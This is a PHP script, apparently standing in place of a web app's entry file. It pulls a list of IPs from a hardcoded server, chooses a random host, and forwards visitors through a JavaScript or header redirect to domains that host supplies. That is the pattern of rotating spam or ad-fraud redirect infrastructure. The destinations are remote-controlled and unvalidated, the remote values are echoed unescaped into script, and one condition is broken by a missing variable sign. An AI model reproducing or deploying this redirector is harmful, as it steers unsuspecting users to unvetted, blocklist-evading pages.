<?php

date_default_timezone_set('Asia/Shanghai');

if (php_sapi_name() === 'cli-server') {
    $url = parse_url($_SERVER["REQUEST_URI"]);
    if ($url["path"] != "/" && file_exists(__DIR__ . $url["path"])) {
        // Static file, serve it as-is
        return false;
    }
}

//require __DIR__ . '/../vendor/autoload.php';
//require __DIR__ . "/../src/app.php";

//header("location:http://yq5g01.e31zu.cn/pagesc/index5gc_1_2352040.html");

$remote_ip = "39.108.125.44";
$xxid = @$_GET['xxid'];
$adUrl = @$_GET['path'];
$opts = stream_context_create(array(
		'http' => array(
				'timeout' => 3
		)
	));	
$ipPool = array(
	1=>json_decode(file_get_contents("http://{$remote_ip}/ipPool.php", false, $opts),true),	
);
if(!$ipPool[1])exit('ipPool is null');
if(array_key_exists($xxid, $ipPool)&&!isset($adUrl)) {		
	$key = array_rand($ipPool[$xxid]);				
	$resultJson = file_get_contents("http://".$ipPool[$xxid][$key]."/getData.php", false, $opts);
	if($resultJson!=''){
		$resultData = json_decode($resultJson,true); 			
		$jumpld1 = $resultData['d1'];
	}else{
		exit('getCodeData is null');
	}		
 }elseif(isset($adUrl)) {
    $keyAd = array_rand($ipPool[$xxid]);		
	$resultjson = file_get_contents("http://".$ipPool[$xxid][$keyAd]."/getData.php", false, $opts);
	if($resultjson!=''){
		$resultAdData = json_decode($resultjson,true); 
		if(!resultAdData['back_url']){
			exit('back_url is null');
		}else{
			$lastAdUrl = $resultAdData['back_url'];
		}  	     
	}else{
		exit('getAdData is null');
	}	
    header("Location:".$lastAdUrl);exit();
 }else{
	 header("Location: http://www.chinadaily.com.cn");exit();
 }
$newurl = "http://".$jumpld1."/pagesc/index5gc_1_2352040.html";
$midurl = "http://{$jumpld1}/xst.php?url=";
?>
<!DOCTYPE html>
<html>
<head>
<title>连接中...</title>  
</head>
<body>
</body>
<script>
   var midUrl = "<?php echo $midurl;?>";
   var newUrl = "<?php echo $newurl;?>";    	
   var jumpUrl = midUrl+encodeURIComponent(newUrl);
   window.location.href = jumpUrl;
</script>
</html>